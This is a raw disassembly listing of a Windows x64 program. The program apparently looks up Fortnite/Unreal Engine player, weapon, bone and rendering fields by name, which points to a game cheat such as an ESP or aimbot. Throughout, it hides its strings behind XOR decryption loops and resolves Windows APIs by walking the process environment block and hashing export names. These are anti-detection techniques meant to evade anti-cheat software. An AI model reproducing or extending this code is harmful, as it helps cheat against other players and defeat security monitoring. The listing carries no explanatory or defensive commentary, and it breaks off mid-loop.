call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
mov qword [0x140150680], rbx
mov byte [rbp - 0x49], 0
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.PersistentLevel]
movsd qword [rbp - 0x58], xmm0
mov eax, dword [0x140138b88]
mov dword [rbp - 0x50], eax
movzx eax, word [0x140138b8c]
mov word [rbp - 0x4c], ax
movzx eax, byte [0x140138b8e]
mov byte [rbp - 0x4a], al
mov byte [rbp - 0x49], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], 6
mov qword [rbp + 0x50], reloc.WS2_32.dll_ntohs
mov eax, dword [str.UWorld]
mov dword [rbp + 0x38], eax
movzx eax, word [0x140138ac8]
mov word [rbp + 0x3c], ax
mov byte [rbp + 0x3e], 0
lea r9, [rbp - 0x58]
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x80]
mov rcx, qword [rdi]
call fcn.140024c10
mov rbx, qword [rax]
lea rcx, [rbp + 0x38]
call fcn.140024af0
nop
lea rcx, [rbp - 0x58]
call fcn.140024af0
mov qword [0x140150720], rbx
lea r8, str.ReviveFromDBNOTime
lea rdx, str.AFortPlayerPawnAthena
mov rcx, rdi
call fcn.1400806a0
mov qword [0x140150710], rax
lea r8, str.Mesh
lea rdx, str.ACharacter
mov rcx, rdi
call fcn.1400806a0
mov qword [0x1401506a8], rax
lea r8, str.TeamIndex
lea rdx, str.AFortPlayerStateAthena
mov rcx, rdi
call fcn.1400806a0
mov qword [0x140150668], rax
lea r8, str.RelativeLocation
lea rdx, str.USceneComponent
mov rcx, rdi
call fcn.1400806a0
mov qword [0x1401506e8], rax
lea r8, str.CurrentWeapon
lea rdx, str.AFortPawn
mov rcx, rdi
call fcn.1400806a0
mov qword [0x1401506f0], rax
lea r8, str.PrimaryPickupItemEntry
lea rdx, str.AFortPickup
mov rcx, rdi
call fcn.1400806a0
mov qword [0x140150728], rax
lea r8, str.ItemDefinition
lea rdx, str.FFortItemEntry
mov rcx, rdi
call fcn.1400806a0
mov qword [0x140150708], rax
lea r8, str.Rarity
lea rdx, str.UFortItemDefinition
mov rcx, rdi
call fcn.1400806a0
mov qword [0x1401506e0], rax
lea r8, str.ItemName
lea rdx, str.UItemDefinitionBase
mov rcx, rdi
call fcn.1400806a0
mov qword [0x140150678], rax
lea r8, str.Levels
lea rdx, str.UWorld
mov rcx, rdi
call fcn.1400806a0
mov qword [0x140150730], rax
lea r8, str.WeaponData
lea rdx, str.AFortWeapon
mov rcx, rdi
call fcn.1400806a0
mov qword [0x140150738], rax
lea r8, str.AmmoCount
lea rdx, str.AFortWeapon
mov rcx, rdi
call fcn.1400806a0
mov qword [0x140150660], rax
lea r8, str.bIsTargeting
lea rdx, str.AFortWeapon
mov rcx, rdi
call fcn.1400806a0
mov qword [0x1401506b0], rax
lea r8, str.ComponentVelocity
lea rdx, str.USceneComponent
mov rcx, rdi
call fcn.1400806a0
mov qword [0x140150688], rax
lea r8, str.Platform
lea rdx, str.AFortPlayerState
mov rcx, rdi
call fcn.1400806a0
mov qword [0x1401506a0], rax
lea r8, str.TimeHeatWasLastAdded
lea rdx, str.AFortWeaponRanged
mov rcx, rdi
call fcn.1400806a0
mov qword [0x140150690], rax
lea r8, str.TimeOverheatedBegan
lea rdx, str.AFortWeaponRanged
mov rcx, rdi
call fcn.1400806a0
mov qword [0x140150700], rax
lea r8, str.OverheatValue
lea rdx, str.AFortWeaponRanged
mov rcx, rdi
call fcn.1400806a0
mov qword [0x140150658], rax
lea r8, str.WeaponOverheatedAnimation
lea rdx, str.AFortWeaponRanged
mov rcx, rdi
call fcn.1400806a0
mov qword [0x140150718], rax
lea r8, str.TargetedFortPawn
lea rdx, str.AFortPlayerController
mov rcx, rdi
call fcn.1400806a0
mov qword [0x1401506f8], rax
lea r8, str.OwningWorld
lea rdx, str.ULevel
mov rcx, rdi
call fcn.1400806a0
sub rax, 0x20
mov qword [0x1401506d0], rax
lea rdx, str.BoneArray
lea rcx, [rbp + 0x80]
call fcn.140021530
mov r8d, 0x5b0
mov rdx, rax
call fcn.14006d490
lea rdx, str.BoneArray
lea rcx, [rbp + 0x80]
call fcn.140021530
mov rdx, rax
call fcn.14006d360
mov rbx, rax
lea rdx, str.BoneCache
lea rcx, [rbp + 0x38]
call fcn.140021530
lea r8, [rbx + 0x30]
mov rdx, rax
call fcn.14006d490
lea rdx, str.ComponentToWorld
lea rcx, [rbp + 0x80]
call fcn.140021530
mov r8d, 0x1c0
mov rdx, rax
call fcn.14006d490
lea rdx, str.LastRenderTimeOnScreen
lea rcx, [rbp + 0x80]
call fcn.140021530
mov r8d, 0x2f0
mov rdx, rax
call fcn.14006d490
lea rdx, str.LastRenderTimeOnScreen
lea rcx, [rbp + 0x80]
call fcn.140021530
mov rdx, rax
call fcn.14006d360
mov rbx, rax
lea rdx, str.LastSubmitTime
lea rcx, [rbp + 0x38]
call fcn.140021530
lea r8, [rbx - 8]
mov rdx, rax
call fcn.14006d490
mov rbx, qword [0x1401506d0]
lea rdx, str.ActorCount
lea rcx, [rbp + 0x80]
call fcn.140021530
lea r8, [rbx + 8]
mov rdx, rax
call fcn.14006d490
nop
mov r8d, r14d
cmp qword [0x140150698], 0
je 0x140087cf3
movups xmm0, xmmword [str.yQJ_OO]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x1401390b8]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x1401390c8]
movups xmmword [rbp + 0xa0], xmm0
movzx eax, byte [0x1401390d8]
mov byte [rbp + 0xb0], al
cmp esi, 2
jl 0x140087c95
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x80]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140087b90
cmp r8d, 0x31
jge 0x140087ce2
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140087cb0
lea rcx, [rbp + 0x80]
call fcn.1400830b0
jmp 0x140087efe
movups xmm0, xmmword [str.pVQU__]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140138290]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [str.7_y_t..8_v_b_b]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x1401382b0]
movups xmmword [rbp + 0xb0], xmm1
movsd xmm0, qword [0x1401382c0]
movsd qword [rbp + 0xc0], xmm0
movzx eax, word [0x1401382c8]
mov word [rbp + 0xc8], ax
movzx eax, byte [0x1401382ca]
mov byte [rbp + 0xca], al
cmp esi, 2
jl 0x140087ea5
movdqa xmm5, xmmword [0x1401395c0]
mov r8d, r14d
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x80]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140087da0
cmp r8d, 0x4b
jge 0x140087ef2
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4b
jl 0x140087ec0
lea rcx, [rbp + 0x80]
call fcn.1400822a0
mov eax, 0x9c
mov word [rbp + 0x1c4], ax
lea r8, [rbp + 0x1a0]
mov edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplaySettingsA]
mov eax, dword [rbp + 0x20c]
mov dword [0x1401507e8], eax
mov ecx, dword [rbp + 0x210]
mov dword [0x1401507b8], ecx
cdq
sub eax, edx
sar eax, 1
mov dword [0x140150744], eax
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
mov dword [0x1401507f8], eax
call fcn.14006ccc0
cmp qword [0x1401507c8], 0
jne 0x1400880ab
mov dword [rbp + 0x58], 0x13140a22
mov dword [rbp + 0x5c], 0xe1e0006
mov word [rbp + 0x60], 0x4d4c
xor eax, eax
mov byte [rbp + 0x62], al
mov dword [rbp + 0x68], 0x2140b31
mov dword [rbp + 0x6c], 0x23d0509
mov dword [rbp + 0x70], 0x18010902
mov byte [rbp + 0x74], al
mov ecx, r14d
mov rdx, r14
nop dword [rax + rax]
lea eax, [rcx + 0x64]
xor byte [rbp + rdx + 0x58], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xa
jb 0x140087fa0
mov byte [rbp + 0x62], 0
mov ecx, r14d
mov rdx, r14
nop dword [rax]
lea eax, [rcx + 0x64]
xor byte [rbp + rdx + 0x68], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xc
jb 0x140087fc0
mov byte [rbp + 0x74], 0
mov rax, qword [0x140150e28]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x68]
call rax
mov qword [0x1401507c8], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rbx, qword [rcx + r10 + 0x88]
mov ebx, ebx
add rbx, r10
cmp rbx, r10
je 0x14008807a
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14008807a
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov ecx, dword [rdx + r10]
add rcx, r10
mov r8d, 0xe80a75d2
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140088075
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140088050
cmp r8d, 0x84555915
je 0x14008807f
test r9d, r9d
jne 0x140088030
mov rax, qword [rax]
jmp 0x140088000
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x64
call rax
cmp qword [0x1401507c8], 0
je 0x140087f61
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rbx, qword [rcx + r10 + 0x88]
mov ebx, ebx
add rbx, r10
cmp rbx, r10
je 0x140088138
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140088138
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x15f2de15
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140088133
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140088110
cmp edx, 0xd215a949
je 0x14008813d
test r9d, r9d
jne 0x1400880f0
mov rax, qword [rax]
jmp 0x1400880c0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rdx, [0x140150740]
mov rcx, qword [0x1401507c8]
call rax
mov eax, dword [0x140150740]
mov dword [0x140150f30], eax
call fcn.14006c6b0
mov qword [0x1401507c0], rax
call fcn.14006cc70
movups xmm0, xmmword [str.pXJMTRHXS___7i]
movups xmmword [rbp + 0x158], xmm0
movups xmm1, xmmword [str.__g]
movups xmmword [rbp + 0x168], xmm1
movzx eax, word [0x1401392a8]
mov word [rbp + 0x178], ax
movups xmm0, xmmword [str.bVJ_O]
movups xmmword [rbp - 8], xmm0
mov eax, dword [0x140138078]
mov dword [rbp + 8], eax
cmp byte [0x14013807b], 0
je 0x140088352
mov r8d, r14d
cmp esi, 2
jl 0x140088315
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 8]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140088210
cmp r8d, 0x14
jge 0x140088352
movsxd rax, r8d
lea r9, [rbp - 8]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140088320
lea rcx, [rbp - 8]
call fcn.1400830b0
mov edx, dword [0x140150f30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14006c590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movups xmm0, xmmword [0x1401386b0]
movups xmmword [rbp - 8], xmm0
mov eax, dword [0x1401386c0]
mov dword [rbp + 8], eax
movzx eax, word [0x1401386c4]
mov word [rbp + 0xc], ax
mov r8d, r14d
cmp esi, 2
jl 0x1400884e5
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 8]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400883e0
cmp r8d, 0x16
jge 0x140088522
movsxd rax, r8d
lea r9, [rbp - 8]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400884f0
lea rcx, [rbp - 8]
call fcn.1400830b0
cmp byte [rbp + 0x179], 0
je 0x1400886be
mov ecx, r14d
cmp esi, 2
jl 0x140088682
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x158]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140088580
cmp ecx, 0x22
jge 0x1400886be
movsxd rax, ecx
lea r8, [rbp + 0x158]
add r8, rax
nop
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x36
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x22
jl 0x140088690
lea rdx, [rbp + 0x158]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400931f0
lea rdx, [0x14006c590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
cmp byte [rbp + 0x179], 0
jne 0x140088882
mov r8d, r14d
cmp esi, 2
jl 0x140088835
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x158]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140088730
cmp r8d, 0x22
jge 0x140088882
movsxd rax, r8d
lea r9, [rbp + 0x158]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140088850
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x158], xmm0
movups xmmword [rbp + 0x168], xmm0
mov word [rbp + 0x178], ax
movups xmm0, xmmword [0x140137ff0]
movups xmmword [rbp - 8], xmm0
mov eax, dword [0x140138000]
mov dword [rbp + 8], eax
movzx eax, byte [0x140138004]
mov byte [rbp + 0xc], al
mov r8d, r14d
cmp esi, 2
jl 0x140088a05
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 8]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140088900
